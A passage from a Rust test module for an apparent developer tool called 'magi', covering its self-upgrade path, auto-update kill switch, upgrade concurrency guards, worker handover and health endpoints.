24633        assert_eq!(error.status, StatusCode::CONFLICT);
24634        assert!(error.message.contains("a turn is already running"));
24635        assert_eq!(
24636            after, before,
24637            "refusal preserves question, draft and history"
24638        );
24639        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
24640        let guard = ui
24641            .begin_talk_turn(&id)
24642            .expect("web claim")
24643            .expect("free again");
24644        drop(guard);
24645    }
24646
24647    #[test]
24648    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
24649        let home = TempDir::new().expect("temp home");
24650        let talks = Talks::at(home.path().join("talks"));
24651        let ui = Ui::new(
24652            Queue::at(home.path().join("queue")),
24653            Questions::at(home.path().join("questions")),
24654            talks.clone(),
24655            home.path().join("runs"),
24656            home.path().to_path_buf(),
24657            PathBuf::from("/repo"),
24658        )
24659        .with_worktrees_root(home.path().join("wt"));
24660        let id = "20260901-000000-order";
24661        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
24662        // Hold the slot mutex so the drop can finish the lease but not the slot.
24663        let slots = ui.talk_turns.lock().unwrap();
24664        let dropper = std::thread::spawn(move || drop(turn));
24665        let start = std::time::Instant::now();
24666        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
24667            std::thread::sleep(Duration::from_millis(5));
24668        }
24669        assert!(!talks.turn_held(id), "the lease is released first");
24670        assert!(slots.live.contains(id), "the slot is still held meanwhile");
24671        drop(slots);
24672        dropper.join().expect("join");
24673        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
24674    }
24675
24676    #[tokio::test]
24677    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
24678        let fx = Fixture::start().await;
24679        let mut beat = crate::daemon::Status::new();
24680        beat.worker_protocol = None;
24681        beat.pid = 4321;
24682        beat.updated_at = jiff::Timestamp::now();
24683        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24684            .expect("publish a heartbeat");
24685
24686        let res = fx.post("/api/upgrade", None).await;
24687        assert_eq!(res.status, 409);
24688    }
24689
24690    /// [`should_spawn_recheck`] must refuse for the same two reasons
24691    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
24692    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
24693    /// Purely a predicate over config and the environment - no network, no
24694    /// disk, no runtime - so unlike the fixture-based tests around it this
24695    /// one needs neither.
24696    #[test]
24697    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
24698        assert!(!should_spawn_recheck(&crate::config::Update {
24699            mode: UpdateMode::Off,
24700            interval: None,
24701            auto_restart: false,
24702        }));
24703
24704        // SAFETY: single-threaded as far as this variable goes, the same
24705        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
24706        unsafe {
24707            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24708        }
24709        let killed = should_spawn_recheck(&crate::config::Update {
24710            mode: UpdateMode::Notify,
24711            interval: None,
24712            auto_restart: false,
24713        });
24714        unsafe {
24715            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24716        }
24717        assert!(
24718            !killed,
24719            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
24720             one-time startup check"
24721        );
24722
24723        assert!(should_spawn_recheck(&crate::config::Update {
24724            mode: UpdateMode::Notify,
24725            interval: None,
24726            auto_restart: false,
24727        }));
24728    }
24729
24730    /// [`recheck_poll_period`] must track a configured `[update] interval`
24731    /// shorter than its own default ceiling - a fixed sleep here would leave
24732    /// an operator's short interval waiting on the next wake-up instead of on
24733    /// `should_check`, which is the same bug this whole task exists to fix,
24734    /// just one level down.
24735    #[test]
24736    fn recheck_poll_period_tracks_a_short_configured_interval() {
24737        let short = crate::config::Update {
24738            mode: UpdateMode::Notify,
24739            interval: Some("1m".to_owned()),
24740            auto_restart: false,
24741        };
24742        let period = recheck_poll_period(&short);
24743        assert!(
24744            period <= Duration::from_secs(30),
24745            "a one-minute interval must wake the task far sooner than the \
24746             default ceiling, or the deck would not notice within the \
24747             interval the operator configured: got {period:?}"
24748        );
24749
24750        let default = crate::config::Update {
24751            mode: UpdateMode::Notify,
24752            interval: None,
24753            auto_restart: false,
24754        };
24755        assert_eq!(
24756            recheck_poll_period(&default),
24757            UPDATE_RECHECK_POLL_MAX,
24758            "the default day-long interval should poll at the (capped) \
24759             ceiling rather than needlessly often"
24760        );
24761    }
24762
24763    /// [`update_recheck_due`] must not repeat a check made moments ago, the
24764    /// same throttle `updater::Checker::should_check` already gives the
24765    /// CLI's notify mode. Built over an explicit state file via
24766    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
24767    /// write the operator's real `last_update_check.json` - and therefore
24768    /// cannot flake on whatever that file happens to say on the machine
24769    /// running the test.
24770    #[test]
24771    fn recheck_skips_the_network_before_the_interval_elapses() {
24772        let dir = TempDir::new().expect("temp dir");
24773        let path = dir.path().join("state.json");
24774        let state = kaishin::UpdateCheckState {
24775            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
24776            last_known_latest: None,
24777            last_known_url: None,
24778        };
24779        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
24780
24781        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
24782        assert!(
24783            !update_recheck_due(&checker, None),
24784            "a check made moments ago must not be repeated before the \
24785             configured interval elapses"
24786        );
24787    }
24788
24789    /// An upgrade this deck already started must not be raced by a recheck
24790    /// that discovers a newer release mid-install - regardless of what
24791    /// `should_check` says, which is why the state file here is missing
24792    /// entirely: read alone, that alone would answer "never checked, go
24793    /// ahead".
24794    #[test]
24795    fn recheck_defers_to_an_upgrade_already_in_flight() {
24796        let dir = TempDir::new().expect("temp dir");
24797        let path = dir.path().join("state.json");
24798        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
24799        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
24800
24801        assert!(
24802            !update_recheck_due(&checker, Some(&progress)),
24803            "a recheck must not run while an upgrade this deck started is \
24804             still moving"
24805        );
24806    }
24807
24808    #[tokio::test]
24809    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
24810        // The same env var the background check honours (`disabled_by_env`)
24811        // must also stop a button press before it ever calls
24812        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
24813        // means "never contact GitHub from this process", and a tap on the
24814        // upgrade button must not override that any more than a broken
24815        // `magi.toml` may. Left unset, this fixture's default config would
24816        // otherwise reach a real, unauthenticated GitHub call.
24817        //
24818        // SAFETY: single-threaded as far as this variable goes - nothing else
24819        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
24820        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
24821        unsafe {
24822            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24823        }
24824        let fx = Fixture::start().await;
24825        let res = fx.post("/api/upgrade", None).await;
24826        unsafe {
24827            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24828        }
24829        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24830        let body = res.json();
24831        assert!(body["to"].is_null(), "there was no release to move to");
24832        assert!(body["parked"].is_null(), "and nothing was parked");
24833        assert!(
24834            body["detail"]
24835                .as_str()
24836                .unwrap()
24837                .contains("disabled by MAGI_NO_AUTOUPDATE"),
24838            "{body:?}"
24839        );
24840    }
24841
24842    #[test]
24843    fn auto_upgrade_decision_respects_policy_and_failed_tags() {
24844        use AutoUpgradeDecision::{Skip, Trigger};
24845        let mut cfg = Update::default();
24846        assert!(matches!(
24847            auto_upgrade_decision(&cfg, false, false, "v2", None),
24848            Skip(_)
24849        ));
24850        cfg.auto_restart = true;
24851        assert_eq!(
24852            auto_upgrade_decision(&cfg, false, false, "v2", None),
24853            Trigger
24854        );
24855        for (disabled, moving, failed) in [
24856            (true, false, None),
24857            (false, true, None),
24858            (false, false, Some("v2")),
24859        ] {
24860            assert!(matches!(
24861                auto_upgrade_decision(&cfg, disabled, moving, "v2", failed),
24862                Skip(_)
24863            ));
24864        }
24865        assert_eq!(
24866            auto_upgrade_decision(&cfg, false, false, "v3", Some("v2")),
24867            Trigger
24868        );
24869        cfg.mode = UpdateMode::Off;
24870        assert!(matches!(
24871            auto_upgrade_decision(&cfg, false, false, "v2", None),
24872            Skip(_)
24873        ));
24874    }
24875
24876    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24877        Box::pin(async { anyhow::bail!("test installer failed") })
24878    }
24879
24880    static TEST_AUTO_HANDOVERS: std::sync::LazyLock<Mutex<HashMap<PathBuf, Arc<Notify>>>> =
24881        std::sync::LazyLock::new(Mutex::default);
24882
24883    fn test_replace_and_signal_handover(
24884        home: PathBuf,
24885    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24886        Box::pin(async move {
24887            if let Some(mut progress) = updater::read_progress(&home) {
24888                progress.advance(updater::Stage::Replaced);
24889                updater::write_progress_logged(&home, &progress);
24890            }
24891            if let Some(signal) = TEST_AUTO_HANDOVERS
24892                .lock()
24893                .unwrap_or_else(PoisonError::into_inner)
24894                .remove(&home)
24895            {
24896                signal.notify_one();
24897            }
24898            Ok(())
24899        })
24900    }
24901
24902    #[tokio::test]
24903    async fn auto_upgrade_guards_opt_in_legacy_concurrency_and_failed_tags() {
24904        let home = TempDir::new().unwrap();
24905        let mut ui = idle_ui(&home);
24906        ui.repo = home.path().to_path_buf();
24907        // Every successful trigger in this test uses this seam, never the installer.
24908        ui.upgrade_runner = fail_test_upgrade;
24909        let ui = Arc::new(ui);
24910        let latest = |tag: &str| {
24911            Some(kaishin::LatestRelease {
24912                tag_name: tag.into(),
24913                html_url: String::new(),
24914            })
24915        };
24916
24917        // Opt-in default (`auto_restart = false`) does nothing.
24918        assert_eq!(
24919            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24920                .await
24921                .status(),
24922            StatusCode::NO_CONTENT
24923        );
24924        assert!(updater::read_progress(home.path()).is_none());
24925
24926        // `mode = "off"` disables automatic updates even when `auto_restart = true`.
24927        std::fs::write(
24928            home.path().join("magi.toml"),
24929            "[update]\nmode = \"off\"\nauto_restart = true\n",
24930        )
24931        .unwrap();
24932        assert_eq!(
24933            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24934                .await
24935                .status(),
24936            StatusCode::NO_CONTENT
24937        );
24938        assert!(updater::read_progress(home.path()).is_none());
24939
24940        std::fs::write(
24941            home.path().join("magi.toml"),
24942            "[update]\nauto_restart = true\n",
24943        )
24944        .unwrap();
24945
24946        // Missing detected release skips without re-querying.
24947        assert_eq!(
24948            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, None)
24949                .await
24950                .status(),
24951            StatusCode::NO_CONTENT
24952        );
24953        assert!(updater::read_progress(home.path()).is_none());
24954
24955        // Legacy embedded scheduler is still refused.
24956        let legacy_pid = std::process::id().wrapping_add(1).max(1);
24957        std::fs::write(
24958            home.path().join("daemon.json"),
24959            serde_json::json!({
24960                "schema": 2,
24961                "pid": legacy_pid,
24962                "updated_at": Timestamp::now().to_string(),
24963                "idle": true,
24964            })
24965            .to_string(),
24966        )
24967        .unwrap();
24968        assert_eq!(
24969            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24970                .await
24971                .status(),
24972            StatusCode::CONFLICT
24973        );
24974        assert!(updater::read_progress(home.path()).is_none());
24975        std::fs::remove_file(home.path().join("daemon.json")).unwrap();
24976
24977        // Concurrent upgrade guard refuses while the request gate is held.
24978        let gate = ui.upgrade_gate.lock().await;
24979        assert_eq!(
24980            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24981                .await
24982                .status(),
24983            StatusCode::CONFLICT
24984        );
24985        drop(gate);
24986
24987        // Active chat turns no longer defer automatic upgrades.
24988        ui.talk_turns.lock().unwrap().live.insert("busy".into());
24989        assert_eq!(
24990            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24991                .await
24992                .status(),
24993            StatusCode::ACCEPTED
24994        );
24995        let progress = updater::read_progress(home.path()).unwrap();
24996        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
24997        assert_eq!(progress.stage, updater::Stage::Downloading);
24998        assert_eq!(
24999            begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None)
25000                .await
25001                .status(),
25002            StatusCode::CONFLICT
25003        );
25004        assert!(progress.parked_run.is_none());
25005        assert!(ui.start_detached_loop().await.is_err());
25006        assert!(ui.start_loop(None).is_err());
25007        assert!(ui.begin_resume("late").is_err());
25008        assert_eq!(
25009            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
25010                .await
25011                .status(),
25012            StatusCode::NO_CONTENT
25013        );
25014        tokio::time::timeout(Duration::from_secs(2), async {
25015            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
25016                tokio::task::yield_now().await;
25017            }
25018        })
25019        .await
25020        .unwrap();
25021        let progress = updater::read_progress(home.path()).unwrap();
25022        assert_eq!(progress.stage, updater::Stage::Failed);
25023
25024        // Same-release failure is suppressed for automatic retries.
25025        assert_eq!(
25026            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
25027                .await
25028                .status(),
25029            StatusCode::NO_CONTENT
25030        );
25031
25032        // Manual retry still uses the shared path for the same tag.
25033        let result = upgrade_checked(&ui, "old".into(), Ok(latest("v999.0.0")));
25034        assert_eq!(
25035            finish_upgrade_request(&ui, result).status(),
25036            StatusCode::ACCEPTED
25037        );
25038        assert_eq!(
25039            updater::read_progress(home.path()).unwrap().trigger,
25040            updater::UpgradeTrigger::Manual
25041        );
25042        tokio::time::timeout(Duration::from_secs(2), async {
25043            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
25044                tokio::task::yield_now().await;
25045            }
25046        })
25047        .await
25048        .unwrap();
25049
25050        // A newer release tag clears suppression for automatic updates.
25051        assert_eq!(
25052            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.1"))
25053                .await
25054                .status(),
25055            StatusCode::ACCEPTED
25056        );
25057        assert_eq!(
25058            updater::read_progress(home.path()).unwrap().trigger,
25059            updater::UpgradeTrigger::Auto
25060        );
25061        tokio::time::timeout(Duration::from_secs(2), async {
25062            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
25063                tokio::task::yield_now().await;
25064            }
25065        })
25066        .await
25067        .unwrap();
25068    }
25069
25070    #[tokio::test]
25071    async fn auto_upgrade_hands_over_without_waiting_for_active_task_chat_or_service_workers() {
25072        let home = TempDir::new().unwrap();
25073        std::fs::write(
25074            home.path().join("magi.toml"),
25075            "[update]\nauto_restart = true\n",
25076        )
25077        .unwrap();
25078        let mut ui = idle_ui(&home);
25079        ui.repo = home.path().to_path_buf();
25080        ui.upgrade_runner = test_replace_and_signal_handover;
25081        let ui = Arc::new(ui);
25082
25083        let workers = [
25084            ("111111", 1_u64, "task", "task:active-task", 41_001_u32),
25085            ("222222", 2_u64, "chat", "chat:active-chat", 41_002_u32),
25086            (
25087                "333333",
25088                3_u64,
25089                "daemon-service",
25090                "service:maintenance",
25091                41_003_u32,
25092            ),
25093        ];
25094        let mut exec_leases = Vec::new();
25095        for (id, sequence, kind, key, pid) in workers {
25096            let dir = home.path().join("workers/jobs").join(id);
25097            std::fs::create_dir_all(&dir).unwrap();
25098            let payload = if kind == "chat" {
25099                serde_json::json!({ "talk": "active-chat" })
25100            } else {
25101                serde_json::json!({})
25102            };
25103            let job = crate::worker::Job {
25104                id: id.into(),
25105                sequence,
25106                kind: kind.into(),
25107                key: key.into(),
25108                payload,
25109                generation: "gen-old".into(),
25110                version: Some("0.1.0".into()),
25111                status: crate::worker::Status::Running,
25112                result: None,
25113                pid: Some(pid),
25114                created_at: 1,
25115                finished_at: None,
25116            };
25117            std::fs::write(dir.join("job.json"), serde_json::to_vec(&job).unwrap()).unwrap();
25118            exec_leases.push(crate::worker::execution_lease_for_test(
25119                &dir.join("live.lock"),
25120            ));
25121        }
25122        let task_lease = crate::worker::try_lease(home.path(), "task:active-task")
25123            .unwrap()
25124            .expect("free task lease");
25125        let chat_lease = crate::worker::try_lease(home.path(), "chat:active-chat")
25126            .unwrap()
25127            .expect("free chat worker lease");
25128        let service_lease = crate::worker::try_lease(home.path(), "service:maintenance")
25129            .unwrap()
25130            .expect("free service lease");
25131        let chat_turn = ui
25132            .begin_talk_turn("active-chat-turn")
25133            .expect("claim chat turn")
25134            .expect("free chat turn");
25135        assert_eq!(crate::worker::observe_active(home.path()).unwrap().len(), 3);
25136
25137        // An unreadable reservation must defer replacement, not look like an
25138        // idle scheduler. Once repaired, the same release can still proceed.
25139        let corrupt = home.path().join("workers/jobs/444444");
25140        std::fs::create_dir_all(&corrupt).unwrap();
25141        std::fs::write(corrupt.join("job.json"), "{").unwrap();
25142        let latest = || {
25143            Some(kaishin::LatestRelease {
25144                tag_name: "v999.0.0".into(),
25145                html_url: String::new(),
25146            })
25147        };
25148        let refused = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
25149        assert_eq!(refused.status(), StatusCode::INTERNAL_SERVER_ERROR);
25150        assert!(updater::read_progress(home.path()).is_none());
25151        std::fs::remove_dir_all(corrupt).unwrap();
25152
25153        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25154            .await
25155            .expect("bind loopback");
25156        let address = listener.local_addr().expect("address");
25157        let served =
25158            tokio::spawn(axum::serve(listener, Arc::clone(&ui).shared_router()).into_future());
25159
25160        let handover_signal = Arc::new(Notify::new());
25161        TEST_AUTO_HANDOVERS
25162            .lock()
25163            .unwrap_or_else(PoisonError::into_inner)
25164            .insert(home.path().to_path_buf(), Arc::clone(&handover_signal));
25165
25166        let admission = ui.begin_admission().expect("admit");
25167        let response = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
25168        assert_eq!(response.status(), StatusCode::ACCEPTED);
25169        tokio::time::timeout(Duration::from_secs(2), handover_signal.notified())
25170            .await
25171            .expect("auto upgrade runner must reach handover");
25172        let replaced = updater::read_progress(home.path()).unwrap();
25173        assert_eq!(replaced.trigger, updater::UpgradeTrigger::Auto);
25174        assert_eq!(replaced.stage, updater::Stage::Replaced);
25175
25176        let successor_started = std::sync::atomic::AtomicBool::new(false);
25177        let handover = hand_over(home.path(), &ui.admissions, served, || {
25178            successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
25179            Ok(1)
25180        });
25181        tokio::pin!(handover);
25182        // Short admission drain still waits for an in-flight persistence/reservation guard.
25183        std::future::poll_fn(|cx| {
25184            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
25185            std::task::Poll::Ready(())
25186        })
25187        .await;
25188        assert!(!successor_started.load(std::sync::atomic::Ordering::SeqCst));
25189        assert!(ui.begin_admission().is_err());
25190
25191        drop(admission);
25192        tokio::time::timeout(Duration::from_secs(2), handover)
25193            .await
25194            .expect("automatic handover must not wait for active workers")
25195            .expect("handover");
25196        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
25197
25198        let successor = bind_waiting(address)
25199            .await
25200            .expect("successor binds released address");
25201        assert_eq!(successor.local_addr().unwrap(), address);
25202
25203        let restarting = updater::read_progress(home.path()).unwrap();
25204        assert_eq!(restarting.trigger, updater::UpgradeTrigger::Auto);
25205        assert_eq!(restarting.stage, updater::Stage::Restarting);
25206        assert!(restarting.parked_run.is_none());
25207        assert!(restarting.parked_talks.is_empty());
25208
25209        let active_after = crate::worker::observe_active(home.path()).unwrap();
25210        assert_eq!(active_after.len(), 3);
25211        for (id, _, kind, key, pid) in workers {
25212            let job = active_after
25213                .iter()
25214                .find(|job| job.id == id)
25215                .unwrap_or_else(|| panic!("worker {id} must survive handover"));
25216            assert_eq!(job.kind, kind);
25217            assert_eq!(job.pid, Some(pid));
25218            assert_eq!(job.generation, "gen-old");
25219            assert_eq!(job.status, crate::worker::Status::Running);
25220            assert!(
25221                crate::worker::control(home.path(), key).unwrap().is_none(),
25222                "no park/stop control may be requested for {key}"
25223            );
25224        }
25225        assert!(
25226            !home.path().join("worker-parks").exists(),
25227            "automatic handover must never request worker parks"
25228        );
25229        assert!(chat_turn.owns(), "chat lease survives automatic handover");
25230        assert!(
25231            crate::worker::try_lease(home.path(), "task:active-task")
25232                .unwrap()
25233                .is_none()
25234        );
25235        assert!(
25236            crate::worker::try_lease(home.path(), "chat:active-chat")
25237                .unwrap()
25238                .is_none()
25239        );
25240        assert!(
25241            crate::worker::try_lease(home.path(), "service:maintenance")
25242                .unwrap()
25243                .is_none()
25244        );
25245
25246        let log = std::fs::read_to_string(updater::log_path(home.path())).unwrap_or_default();
25247        assert!(
25248            log.contains("auto-upgrade: beginning update and restart"),
25249            "{log}"
25250        );
25251        assert!(!log.contains("waiting for idle"), "{log}");
25252        assert!(!log.contains("idle;"), "{log}");
25253
25254        drop(successor);
25255        drop(chat_turn);
25256        drop(service_lease);
25257        drop(chat_lease);
25258        drop(task_lease);
25259        drop(exec_leases);
25260    }
25261
25262    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
25263        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
25264        p.stage = stage;
25265        p
25266    }
25267
25268    #[test]
25269    fn busy_stages_match_the_ui_set() {
25270        use crate::updater::Stage;
25271        assert!(APP_JS.contains(
25272            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
25273        ));
25274        for s in [
25275            Stage::Downloading,
25276            Stage::Replaced,
25277            Stage::Parking,
25278            Stage::Restarting,
25279        ] {
25280            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
25281        }
25282        for s in [Stage::Done, Stage::Failed] {
25283            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
25284        }
25285        assert!(upgrade_in_motion(None).is_none());
25286    }
25287
25288    #[tokio::test]
25289    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
25290        use crate::updater::Stage;
25291        for stage in [
25292            Stage::Downloading,
25293            Stage::Replaced,
25294            Stage::Parking,
25295            Stage::Restarting,
25296        ] {
25297            let fx = Fixture::start().await;
25298            let seeded = seeded_progress(stage);
25299            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
25300            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
25301                .expect("read");
25302
25303            let res = fx.post("/api/upgrade", None).await;
25304            assert_eq!(res.status, 409, "{stage:?}");
25305            let err = res.json()["error"].as_str().unwrap().to_owned();
25306            assert!(err.contains("already in progress"), "{err}");
25307            assert!(err.contains(stage.as_str()), "{err}");
25308
25309            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
25310                .expect("read");
25311            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
25312            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
25313                .unwrap_or_default();
25314            assert!(!log.contains("signalling HANDOVER"), "{log}");
25315        }
25316    }
25317
25318    #[test]
25319    fn upgrade_retry_timing_only_parses_known_diagnostics() {
25320        assert_eq!(
25321            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
25322            Some(3723)
25323        );
25324        assert_eq!(
25325            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
25326            Some(60)
25327        );
25328        assert_eq!(
25329            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
25330            Some(0)
25331        );
25332        for message in [
25333            "permission denied",
25334            "GitHub API rate limit exceeded",
25335            "GitHub rate limit (resets in unknown)",
25336            "GitHub rate limit (resets in 18446744073709551615d)",
25337        ] {
25338            assert_eq!(upgrade_retry_after(message), None, "{message}");
25339        }
25340    }
25341
25342    #[tokio::test]
25343    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
25344        let home = TempDir::new().unwrap();
25345        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
25346        ui.start_loop(None).unwrap();
25347        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
25348        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
25349        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
25350        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
25351        let response = finish_upgrade_request(&ui, result);
25352        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
25353        assert_eq!(response.headers()["retry-after"], "120");
25354        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
25355            .await
25356            .unwrap();
25357        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
25358        assert!(body["error"].as_str().unwrap().contains(reason));
25359        assert_eq!(body["retry_after_secs"], 120);
25360        assert!(body["retry_at"].as_u64().is_some());
25361        for _ in 0..2 {
25362            let view = health(State(ui.clone())).await.unwrap().0;
25363            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
25364            assert_eq!(failure, body);
25365        }
25366        assert_eq!(
25367            std::fs::read(updater::progress_path(home.path())).unwrap(),
25368            before
25369        );
25370        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
25371        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
25372        // A conflicting request must not erase the actionable earlier failure.
25373        let gate = ui.upgrade_gate.lock().await;
25374        assert_eq!(
25375            upgrade_post(State(ui.clone())).await.status(),
25376            StatusCode::CONFLICT
25377        );
25378        drop(gate);
25379        assert!(
25380            health(State(ui.clone()))
25381                .await
25382                .unwrap()
25383                .0
25384                .upgrade_request_error
25385                .is_some()
25386        );
25387        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
25388        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
25389        assert!(
25390            health(State(ui.clone()))
25391                .await
25392                .unwrap()
25393                .0
25394                .upgrade_request_error
25395                .is_none()
25396        );
25397        let live = ui.lock_loop().live.take().unwrap();
25398        live.stop.stop();
25399        live.handle.await.unwrap();
25400    }
25401
25402    #[tokio::test]
25403    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
25404        use crate::updater::Stage;
25405        let repo = TempDir::new().expect("repo dir");
25406        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25407            .expect("write magi.toml");
25408        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25409        for stage in [Stage::Done, Stage::Failed] {
25410            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
25411            let res = fx.post("/api/upgrade", None).await;
25412            assert_eq!(res.status, 200, "{stage:?}");
25413        }
25414        // No record at all, and the gate was released by the earlier calls.
25415        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
25416        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
25417    }
25418
25419    #[tokio::test]
25420    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
25421        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
25422        // and the route answers from its own logic.
25423        //
25424        // This test used to lean on the fixture's placeholder repo failing
25425        // config discovery, which left `mode = "notify"` - and a live,
25426        // unauthenticated call to the GitHub releases API inside a unit test.
25427        // GitHub allows 60 of those an hour per address, so the suite went red
25428        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
25429        // long as somebody kept re-running it: every attempt spent another
25430        // request. Six reruns across four pull requests were charged to that
25431        // before it was read as a rate limit rather than a flake.
25432        //
25433        // What the assertion is about is the "already current" branch, which
25434        // is reached by there being no newer release *or* nowhere to look. The
25435        // second one needs no network and cannot be rate limited.
25436        let repo = TempDir::new().expect("repo dir");
25437        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25438            .expect("write magi.toml");
25439        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25440
25441        // It must answer 200 and leave the process alone: restarting for an
25442        // upgrade that did not happen parks the run in flight and drops every
25443        // connection to pay for nothing. A probe against a deck already on the
25444        // newest build did exactly that, which is how this case got its own
25445        // branch.
25446        let res = fx.post("/api/upgrade", None).await;
25447        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
25448        let body = res.json();
25449        assert!(body["to"].is_null(), "there was no release to move to");
25450        assert!(body["parked"].is_null(), "and nothing was parked");
25451        assert!(
25452            body["detail"]
25453                .as_str()
25454                .unwrap()
25455                .contains("nothing restarted"),
25456            "{body:?}"
25457        );
25458    }
25459
25460    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
25461        tokio::time::timeout(Duration::from_secs(5), async {
25462            while state.lock().unwrap().in_flight {
25463                tokio::task::yield_now().await;
25464            }
25465        })
25466        .await
25467        .expect("capacity scan finished");
25468    }
25469
25470    fn disk_test_scope(home: &FsPath) -> DiskScope {
25471        DiskScope {
25472            runs: home.join("runs"),
25473            worktrees: home.join("worktrees"),
25474            cache: Some(home.join("cache")),
25475        }
25476    }
25477
25478    fn known_disk_capacity() -> DiskCapacity {
25479        DiskCapacity {
25480            free_bytes: Some(100),
25481            runs_bytes: Some(200),
25482            worktrees_bytes: Some(300),
25483            cache_bytes: Some(400),
25484        }
25485    }
25486
25487    #[tokio::test]
25488    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
25489        let home = TempDir::new().unwrap();
25490        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
25491        let mut ui = delta_test_ui(home.path());
25492        let state = Arc::get_mut(&mut ui).unwrap();
25493        state.repo = home.path().to_owned();
25494        state.worktrees_root = home.path().join("worktrees");
25495        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
25496        ui.monitor
